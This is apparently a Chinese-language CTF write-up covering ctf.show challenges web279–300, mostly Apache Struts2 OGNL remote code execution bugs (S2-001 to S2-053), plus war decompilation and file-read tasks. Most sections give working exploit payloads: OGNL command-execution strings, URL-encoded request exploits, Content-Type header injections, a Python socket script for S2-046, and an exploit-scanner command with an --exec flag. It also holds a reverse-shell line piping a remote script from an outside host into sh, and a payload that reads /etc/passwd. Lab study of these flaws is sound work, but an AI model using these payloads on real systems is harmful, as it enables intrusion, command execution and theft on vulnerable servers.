脚本通杀

WEB279-294 296-297

以下题目参考 ——> 文章

全部题都是struts2框架漏洞

脚本通杀 下载 下载链接:https://pan.b类似/aidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码:bn71
具体用法在md文件中,例如
检测

1
python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action

利用

1
python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action -n S2-001 --exec

执行命令env即可得到flag

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc

GitHub项目地址:https://github.com/vulhub/vulhub/tree/master/struts2

判断网站是否基于Struts2的方法

通过页面回显的错误消息来判断,页面不回显错误消息时则无效
通过网页后缀来判断,如.do.action,有可能不准
如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

这里的话也记录一下我学习java的过程

web279-S2-001

题目

image-20230221220243509

打开源码发现

存在一个路径,然后访问得到

image-20230221220331569

s2-001是一个struts2命令执行漏洞编号,这篇文章给了详细介绍链接

漏洞原理

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

这里的话和ssti还有点像,因为就是 %{1+1} 可以生成2 这是个OGNL表达式

这里的话会对下面三个东西进行解释

1
2
3
% 的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
# 的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
$ 主要是在Struts 2配置文件中,引用OGNL表达式

payload

1
2
3
4
5
6
7
8
9
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
//这里的命令执行就是修改env就行了,相查啥就去修改

这里的话虽然payload看不懂什么意思,但是得把里面一些东西进行研究研究

“@” Java中的特殊符号——注解(Java中’@‘符号是什么意思?)

java.lang包介绍

一篇彻底读懂java中的IO流!

也可以利用工具进行解题

web280-S2-005

题目

image-20230221223022301

漏洞原理

先来了解下S2-003

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

再看S2-005,参考链接

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响版本Struts 2.0.0 - Struts 2.1.8.1

这题的话是利用工具来解题的

查漏洞

1
python Struts2Scan.py -u http://d6000b7a-d2b5-47b4-8133-e503ee337f51.challenge.ctf.show/S2-005/example/HelloWorld.action

image-20230221224315378

利用网上的工具得出确实是存在S2-005漏洞

那么直接利用工具打就行了。

利用漏洞进行命令执行

1
python Struts2Scan.py -u http://33f274f4-42ec-4646-a3e0-5670b693959b.challenge.ctf.show/S2-005/example/HelloWorld.action -n S2-005 --exec

然后输入env就可以看到flag了。

image-20230222102511636

web281-S2-007

漏洞原理

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 - Struts2 2.2.3

执行任意代码poc

1
2
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

在id处修改命令就行

image-20230222103018669

在age处可以进行输出。

然后把id修改成env就可以看到flag了。

用工具其实也是可以的

查漏洞

1
python Struts2Scan.py -u http://016b938b-1b04-4939-bfbf-d66ff6df2ccf.challenge.ctf.show/S2-007/user.action

image-20230222103423727

但是利用工具来看的话这里不是s2-007漏洞,有点奇怪。

image-20230222103701552

web282-S2-008

题目

image-20230222104319076

漏洞原理

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的

姿势1

虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋

1
Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings;

没测试成功。

姿势2

开启了调试模式,但是调试模式中存在 OGNL 表达式注入漏洞

1
devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

想要修改啥,还是把env换掉就行。

这题也是可以利用工具进行求解

web283-S2-009

题目

提示:Struts2 showcase远程代码执行漏洞

测试环境是一个struts2的“功能展示”网站Struts Showcase,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action

image-20230222114920873

url/S2-009/ajax/example5.action即可访问控制器

image-20230222115312683

写入payload后,会自动下载一个example.action文件,然后打开

image-20230222115455895

那么我们就只需要修改payload里的whoami换成env就能拿到flag了

这里的话也可以使用工具

但是工具只能查出是哪个漏洞,但是这个工具不支持漏洞利用

web284-S2-012

题目

image-20230222203744432

由题目可知这是个编号为S2-012的漏洞

漏洞原理

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

1
2
3
4
5
6
7
8
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

影响版本: 2.1.0 - 2.3.13

payload

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20230222204310623

执行后会下载一个文件,然后只需要修改一下执行命令(env)就可以拿到flag了。

web285-S2-013

题目

image-20230222204630266

漏洞原理

1
2
3
4
5
6
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞

poc

1
2
3
4
5
6
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强

这里的话还是env 但是得把poc进行url全编码

payload

1
http://4e4c3c86-4fbd-4809-8809-8fffe7c3461d.challenge.ctf.show/S2-013/link.action?a=%24%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%22%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%22%5D%3D%74%72%75%65%2C%23%61%3D%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%27%65%6E%76%27%29%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%2C%23%62%3D%6E%65%77%20%6A%61%76%61%2E%69%6F%2E%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61%64%65%72%28%23%61%29%2C%23%63%3D%6E%65%77%20%6A%61%76%61%2E%69%6F%2E%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2C%23%64%3D%6E%65%77%20%63%68%61%72%5B%35%30%30%30%30%5D%2C%23%63%2E%72%65%61%64%28%23%64%29%2C%23%6F%75%74%3D%40%6F%72%67%2E%61%70%61%63%68%65%2E%73%74%72%75%74%73%32%2E%53%65%72%76%6C%65%74%41%63%74%69%6F%6E%43%6F%6E%74%65%78%74%40%67%65%74%52%65%73%70%6F%6E%73%65%28%29%2E%67%65%74%57%72%69%74%65%72%28%29%2C%23%6F%75%74%2E%70%72%69%6E%74%6C%6E%28%23%64%29%2C%23%6F%75%74%2E%63%6C%6F%73%65%28%29%29%7D

web286-S2-015

题目

漏洞原理

1
2
3
4
5
6
7
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess[‘allowStaticMethodAccess’]=true 来修改其值达到重获静态方法调用的能力

影响版本: 2.0.0 - 2.3.14.2

测试漏洞

image-20230222210606236

poc

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action

得要url全编码并且将id改为env

web287-S2-016

题目

image-20230223200203561

漏洞原理

1
2
3
4
5
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

所以,访问http://your-ip:8080/default.action?redirect:OGNL表达式即可执行OGNL表达式

影响版本: 2.0.0 - 2.3.15

poc

执行命令

1
redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22env%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D

web288-S2-019

题目

image-20230223201046125

漏洞原理

1
2
3
动态方法调用的默认启用,原理类似于s2-008

Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码

poc

1
2
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
// 利用是先进行url编码

与s2-008poc区别不同的仅仅是由原先的[“allowStaticMethodAccess”]=true静态方法执行改为(new java.lang.ProcessBuilder(‘id’)).start(),但该方法在虚空浪子心提出s2-012后不久就在博客里说明了官方修补方案将allowStaticMethodAccess取消了后的替补方法就是使用ava.lang.ProcessBuilder

影响版本:Struts 2.0.0 - Struts 2.3.15.1

这里的话和web286一样,得进行shell反弹,现在还不会,先留着。

web289-S2-029

题目

image-20230223213512376

漏洞原理

1
2
3
4
5
Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估

例如:代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行

影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

poc

1
default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

这题也要弹shell

web290-S2-032

题目

image-20230223214103082

漏洞原理

1
2
3
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

poc

1
?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

web291-S2-033

题目

image-20230223214556408

漏洞原理

1
2
3
当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行

影响版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)

poc

1
/orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

web292-S2-037

题目

image-20230223214824621

漏洞原理

1
2
3
当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式

影响版本:Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

poc

1
/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami

web293-S2-045

题目

image-20230223220621960

漏洞原理

1
2
3
4
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

poc

1
2
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z

还是得需要反弹shell

web294-S2-046

题目

image-20230223221152582

漏洞原理

1
2
3
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

由于需要发送畸形数据包,简单使用原生socket编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())

web295-S2-048

题目

image-20230223224111641

漏洞原理

1
2
3
4
漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击

影响版本: 2.0.0 - 2.3.32

image-20230223224214133

以第一个参数为攻击点,在其执行OGNL语法,${10-7},点击submit

image-20230223224230773

image-20230223224302364

成功执行了

借用S2-045的沙盒绕过方法,改了一个POC。将如下POC填入表单Gengster Name中,提交即可直接回显命令执行的结果

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

image-20230223225251474

也可以使用s2-045poc,抓包修改content-type

1
2
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

web296-S2-052

题目

image-20230223225504667

漏洞原理

image-20230223225531458

还是得用工具,但是得反弹shell,因为env太长了,有长度限制,只输出半截

image-20230223225835015

这里的话得需要s2-045漏洞

web297-S2-053

题目

image-20230223230033073

漏洞原理

1
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞

poc

1
2
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

还是得反弹shell.

就是先利用工具,查找存在哪些漏洞,然后就去利用执行这个漏洞,然后就输入下面的curl命令就可以了。

1
curl https://your-shell.com/你的公网ip冒号你的开放端口空格|sh

这就是反弹shell的方法,其实还有很多种语言的反弹shell的方法

your-shell ——>这个是反弹工具网址

在b站的 反弹shell讲解

web298-反编译

题目

image-20230223231242469

题目附件一个war包

1
2
3
jar包和war包都可以看成压缩文件,都可以用解压软件打开,jar包和war包都是为了项目的部署和发布,通常在打包部署的时候,会在里面加上部署的相关信息。这个打包实际上就是把代码和依赖的东西压缩在一起,变成后缀名为.jar和.war的文件,就是我们说的jar包和war包。但是这个“压缩包”可以被编译器直接使用,把war包放在tomcat目录的webapp下,tomcat服务器在启动的时候可以直接使用这个war包。通常tomcat的做法是解压,编译里面的代码,所以当文件很多的时候,tomcat的启动会很慢。

jar包和war包的区别:jar包是java打的包,war包可以理解为javaweb打的包,这样会比较好记。jar包中只是用java来写的项目打包来的,里面只有编译后的class和一些部署文件。而war包里面的东西就全了,包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。

使用工具Java decompiler反编译class文件

image-20230224191707065

image-20230224191718054

查看源码发现两个函数,只要username=admin&password=ctfshow的话,这个函数就会返回true,然后就会打印flag.

web299-文件读取

题目

image-20230224201233523

发现了一个题目给的注释,然后去尝试了一下发现是可以进行文件读取的。

这里的话给的是php,但是在java中,默认的文件应该是index.jsp

image-20230224201453984

去读WEB-INF/web.xml,发现存在con.ctfshow.servlet.GetFlag

image-20230224201722256

这个路径是根据上一题的java文件得出的 一般来说 web.xml都是在这个路径下

这里的 web.xml 可以看这篇文章来进行学习学习 文章

进行 web.xml的读取

image-20230224202057625

然后进行读取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class,因为是class文件字符有点乱,发现fl3g

这里为什么是这个路径的话,是因为上一题的java压缩包里的路径,然后就根据其推断出。

image-20230224202206393

但是 是不是所有的默认文件都是这个路径的话我就不知道了,因为刚开始学java

image-20230224202349505

发现这个flag所在的文件

然后进行读取

image-20230224202445941

web300-文件读取

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

解题方法和上题一样,

image-20230224202801282

java漏洞就大概了解完了,那么我们就开始去学习java反序列化,边做题边学习java了。

以上的题目如果输入env只出来半截的,可以去看我写的web297的题解